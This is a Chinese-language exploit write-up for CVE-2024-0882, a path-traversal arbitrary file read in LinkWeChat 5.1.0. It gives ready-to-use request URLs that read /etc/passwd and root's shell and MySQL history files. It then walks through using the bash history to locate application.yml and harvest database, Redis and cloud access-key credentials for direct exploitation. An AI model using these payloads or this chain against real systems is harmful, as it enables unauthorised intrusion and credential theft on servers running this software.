LinkWeChat任意文件读取(CVE-2024-0882)

0x01  前言

    LinkWeChat 是基于企业微信的开源 SCRM 系统，是企业私域流量管理与营销的综合解决方案。不仅集成了企微强大的后台管理及基础的客户管理功能，而且提供了多种渠道、多个方式连接微信客户。主要运用于电商、零售、教育、金融、政务等服务行业领域化。

    该系统存在任意文件读取漏洞，使用输入 /profile/../../../../../etc/passwd 操作参数名称会导致路径遍历，可以远程发起攻击.

0x02  影响版本

LinkWechat 5.1.0

0x03  漏洞POC

  /profile/../../../../../etc/passwd

  /profile/../../../../../root/.bash_history

  /profile/../../../../../root/.mysql_history

xxxx.com/common/download/resource?name=/profile/../../../../../root/.bash_history
xxxx.com/common/download/resource?name=/profile/../../../../../etc/passswd

0x03  漏洞利用过程

        一般情况下，通过任意文件读取的漏洞获取到系统敏感配置文件和账密。比如我使用  /profile/../../../../../root/.bash_history 去读取历史命名文件，然后本地审计一下该文件，获取到管理员操作的命令，一般命令都会暴露应用的配置目录，比如如下所示:

cd /root/
ll
vi tomcat/webapps/xxxxx/WEB-INF/classes/application.yml 
ll
df -h

通过该命令我们就可以直接通过任意文件读取直接拿到该yml文件。

xxxxx/common/download/resource?name=/profile/../../../../..//root/tomcat/tomcat/webapps/xxxx/WEB-INF/classes/application.yml 
当然其他文件也可以通过这种方式获取到。

后面对其yml文件进行研究，发现文件当中配置了大量的账户密码，包括mysql、redis、ak/sk等等，可以直接进行利用。